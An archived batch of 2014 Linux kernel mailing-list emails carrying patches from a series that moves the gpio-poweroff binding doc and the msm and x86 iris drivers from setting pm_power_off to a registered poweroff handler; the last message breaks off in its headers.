X-CTCH-SenderID-TotalMessages: 540
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:24477 gmane.linux.kernel:1802447 gmane.linux.drivers.devicetree:93037 gmane.linux.kernel.virtualization.lguest:1456 gmane.linux.acpi.devel:71270 gmane.linux.ports.alpha:2441 gmane.linux.kernel.efi:4724 gmane.linux.ports.hexagon:788 gmane.linux.ports.ppc64.devel:105867 gmane.linux.ports.tegra:19470 gmane.linux.kernel.openipmi:2447 gmane.linux.uml.devel:14660 gmane.linux.ports.arm.kernel:362342 gmane.linux.kernel.metag:308 gmane.linux.ports.mips.general:44158 gmane.linux.ports.parisc:6083 gmane.linux.power-management.general:50612 gmane.linux.ports.sh.devel:39781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/24477>

pm_power_off is an implementation detail. Replace it with a more generic
description of the driver's functionality.

Cc: Rob Herring <robh+dt@kernel.org>
Cc: Pawel Moll <pawel.moll@arm.com>
Cc: Mark Rutland <mark.rutland@arm.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 Documentation/devicetree/bindings/gpio/gpio-poweroff.txt | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt b/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt
index d4eab92..c95a1a6 100644
--- a/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt
+++ b/Documentation/devicetree/bindings/gpio/gpio-poweroff.txt
@@ -2,12 +2,12 @@ Driver a GPIO line that can be used to turn the power off.
 
 The driver supports both level triggered and edge triggered power off.
 At driver load time, the driver will request the given gpio line and
-install a pm_power_off handler. If the optional properties 'input' is
-not found, the GPIO line will be driven in the inactive
+install a handler to power off the system. If the optional properties
+'input' is not found, the GPIO line will be driven in the inactive
 state. Otherwise its configured as an input.
 
-When the pm_power_off is called, the gpio is configured as an output,
-and drive active, so triggering a level triggered power off
+When the the poweroff handler is called, the gpio is configured as an
+output, and drive active, so triggering a level triggered power off
 condition. This will also cause an inactive->active edge condition, so
 triggering positive edge triggered power off. After a delay of 100ms,
 the GPIO is set to inactive, thus causing an active->inactive edge,
@@ -24,7 +24,7 @@ Required properties:
 
 Optional properties:
 - input : Initially configure the GPIO line as an input. Only reconfigure
-  it to an output when the pm_power_off function is called. If this optional
+  it to an output when the poweroff handler is called. If this optional
   property is not specified, the GPIO is initialized as an output in its
   inactive state.
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.ports.tegra,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 24/44] power/reset: msm-powroff: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:26 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <1412659726-29957-25-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659845 26311 80.91.229.3 (7 Oct 2014 05:30:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:45 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:30:34 2014
Return-path: <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNLz-0002ou-TK
	for glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 07:30:32 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753647AbaJGFa1 (ORCPT <rfc822;glpt-linux-tegra@m.gmane.org>);
	Tue, 7 Oct 2014 01:30:27 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40835 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753761AbaJGFaU (ORCPT
	<rfc822;linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:30:20 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=nzfgGbpF9AJ52/AKTblagoIgMTkJbORI3DpsN3yY8Yk=;
	b=jTpe7zFk/tHgPjDMYKknpiNAoOdOmOyUZJUQKkCS7tywdyFs1+6SllVFbk/AY47/6bIFwLn0mfox/9RwHEqo2q38LD+0bNpWOaIDmVUtB37UKuyzO0jasXgteEmgdiFxdM9LKgQcXoyw/krwNpM88KJer1xYlV3qF3OaIDADXwk=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLm-002eh6-48
	for linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:30:18 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32927 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLN-002cBN-55; Tue, 07 Oct 2014 05:29:53 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020208.54337A6A.0088,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 537
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-tegra.vger.kernel.org>
X-Mailing-List: linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.ports.tegra:19471 gmane.linux.kernel:1802448 gmane.linux.drivers.devicetree:93038 gmane.linux.kernel.virtualization.lguest:1457 gmane.linux.acpi.devel:71271 gmane.linux.ports.alpha:2442 gmane.linux.kernel.efi:4725 gmane.linux.ports.hexagon:789 gmane.linux.ports.ppc64.devel:105868 gmane.linux.kernel.openipmi:2448 gmane.linux.uml.devel:14661 gmane.linux.ports.arm.kernel:362343 gmane.linux.ports.ia64:24478 gmane.linux.kernel.metag:309 gmane.linux.ports.mips.general:44159 gmane.linux.ports.parisc:6084 gmane.linux.power-management.general:50613 gmane.linux.ports.sh.devel:39782
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.tegra/19471>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Select proprity 0 since the code does not really poweroff
the system.

Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 drivers/power/reset/msm-poweroff.c | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/drivers/power/reset/msm-poweroff.c b/drivers/power/reset/msm-poweroff.c
index 774f9a3..189bcd3 100644
--- a/drivers/power/reset/msm-poweroff.c
+++ b/drivers/power/reset/msm-poweroff.c
@@ -19,6 +19,7 @@
 #include <linux/of.h>
 #include <linux/platform_device.h>
 #include <linux/module.h>
+#include <linux/notifier.h>
 #include <linux/reboot.h>
 
 #include <asm/system_misc.h>
@@ -31,12 +32,19 @@ static void do_msm_restart(enum reboot_mode reboot_mode, const char *cmd)
 	mdelay(10000);
 }
 
-static void do_msm_poweroff(void)
+static int do_msm_poweroff(struct notifier_block *this,
+			   unsigned long unused1, void *unused2)
 {
 	/* TODO: Add poweroff capability */
 	do_msm_restart(REBOOT_HARD, NULL);
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block msm_powroff_nb = {
+	.notifier_call = do_msm_poweroff,
+};
+
 static int msm_restart_probe(struct platform_device *pdev)
 {
 	struct device *dev = &pdev->dev;
@@ -47,7 +55,8 @@ static int msm_restart_probe(struct platform_device *pdev)
 	if (IS_ERR(msm_ps_hold))
 		return PTR_ERR(msm_ps_hold);
 
-	pm_power_off = do_msm_poweroff;
+	if (register_poweroff_handler(&msm_powroff_nb))
+		dev_err(&pdev->dev, "Failed to register poweroff handler\n");
 	arm_pm_restart = do_msm_restart;
 	return 0;
 }
-- 
1.9.1


From - Thu Nov 08 21:10:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.ports.tegra,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 26/44] x86: iris: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:28 -0700
Lines: 82
Approved: news@gmane.org
Message-ID: <1412659726-29957-27-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659845 26318 80.91.229.3 (7 Oct 2014 05:30:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:45 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Thomas Gleix
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:30:35 2014
Return-path: <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNM2-0002ou-CH
	for glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 07:30:34 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753772AbaJGFac (ORCPT <rfc822;glpt-linux-tegra@m.gmane.org>);
	Tue, 7 Oct 2014 01:30:32 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40855 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753780AbaJGFaV (ORCPT
	<rfc822;linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:30:21 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=lG6odH8+KB6jTY943cOcYusvv379O7q+bc5zrpIo7KU=;
	b=k2AHqCL5Gw3L1f3tsTaYpCREHxivQ6EASfzeo4cl77l08p61cepHDw9Q+CAi90jyrMsLYG2PQvT0w4/HRKqoS1zqNjM+RFY6ZEzfS6951MnRYueL46W0RmZuclMPCUFE4gFERcnxhf6NKlV2bWC3+gpULRHBqexDMn2CMmNs3x0=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLo-002em1-SY
	for linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:30:21 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32929 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLR-002caK-8D; Tue, 07 Oct 2014 05:29:57 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337A6D.0052,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 557
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-tegra.vger.kernel.org>
X-Mailing-List: linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.ports.tegra:19472 gmane.linux.kernel:1802449 gmane.linux.drivers.devicetree:93039 gmane.linux.kernel.virtualization.lguest:1458 gmane.linux.acpi.devel:71272 gmane.linux.ports.alpha:2443 gmane.linux.kernel.efi:4726 gmane.linux.ports.hexagon:790 gmane.linux.ports.ppc64.devel:105869 gmane.linux.kernel.openipmi:2449 gmane.linux.uml.devel:14662 gmane.linux.ports.arm.kernel:362344 gmane.linux.ports.ia64:24479 gmane.linux.kernel.metag:310 gmane.linux.ports.mips.general:44160 gmane.linux.ports.parisc:6085 gmane.linux.power-management.general:50614 gmane.linux.ports.sh.devel:39783
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.tegra/19472>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with high priority value of 192 to reflect that
the original code overwrites existing poweroff handlers.

Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
Cc: Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: H. Peter Anvin <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 arch/x86/platform/iris/iris.c | 25 +++++++++++++++++++------
 1 file changed, 19 insertions(+), 6 deletions(-)

diff --git a/arch/x86/platform/iris/iris.c b/arch/x86/platform/iris/iris.c
index 4d171e8..662c4e8 100644
--- a/arch/x86/platform/iris/iris.c
+++ b/arch/x86/platform/iris/iris.c
@@ -23,6 +23,7 @@
 
 #include <linux/moduleparam.h>
 #include <linux/module.h>
+#include <linux/notifier.h>
 #include <linux/platform_device.h>
 #include <linux/kernel.h>
 #include <linux/errno.h>
@@ -47,15 +48,21 @@ static bool force;
 module_param(force, bool, 0);
 MODULE_PARM_DESC(force, "Set to one to force poweroff handler installation.");
 
-static void (*old_pm_power_off)(void);
-
-static void iris_power_off(void)
+static int iris_power_off(struct notifier_block *this, unsigned long unused1,
+			  void *unused2)
 {
 	outb(IRIS_GIO_PULSE, IRIS_GIO_OUTPUT);
 	msleep(850);
 	outb(IRIS_GIO_REST, IRIS_GIO_OUTPUT);
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block iris_poweroff_nb = {
+	.notifier_call = iris_power_off,
+	.priority = 192,
+};
+
 /*
  * Before installing the power_off handler, try to make sure the OS is
  * running on an Iris.  Since Iris does not support DMI, this is done
@@ -65,20 +72,26 @@ static void iris_power_off(void)
 static int iris_probe(struct platform_device *pdev)
 {
 	unsigned char status = inb(IRIS_GIO_INPUT);
+	int ret;
+
 	if (status == IRIS_GIO_NODEV) {
 		printk(KERN_ERR "This machine does not seem to be an Iris. "
 			"Power off handler not installed.\n");
 		return -ENODEV;
 	}
-	old_pm_power_off = pm_power_off;
-	pm_power_off = &iris_power_off;
+
+	ret = register_poweroff_handler(&iris_poweroff_nb);
+	if (ret) {
+		dev_err(&pdev->dev, "Failed to register poweroff handler\n");
+		return ret;
+	}
 	printk(KERN_INFO "Iris power_off handler installed.\n");
 	return 0;
 }
 
 static int iris_remove(struct platform_device *pdev)
 {
-	pm_power_off = old_pm_power_off;
+	unregister_poweroff_handler(&iris_poweroff_nb);
 	printk(KERN_INFO "Iris power_off handler uninstalled.\n");
 	return 0;
 }
-- 
1.9.1


From - Thu Nov 08 21:10:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.drivers.devicetree,gmane.linux.kernel,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 32/44] arm64: psci: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:34 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <1412659726-29957-33-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659846 26336 80.91.229.3 (7 Oct 2014 05:30:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:46 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Catalin Mari
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:30:37 2014
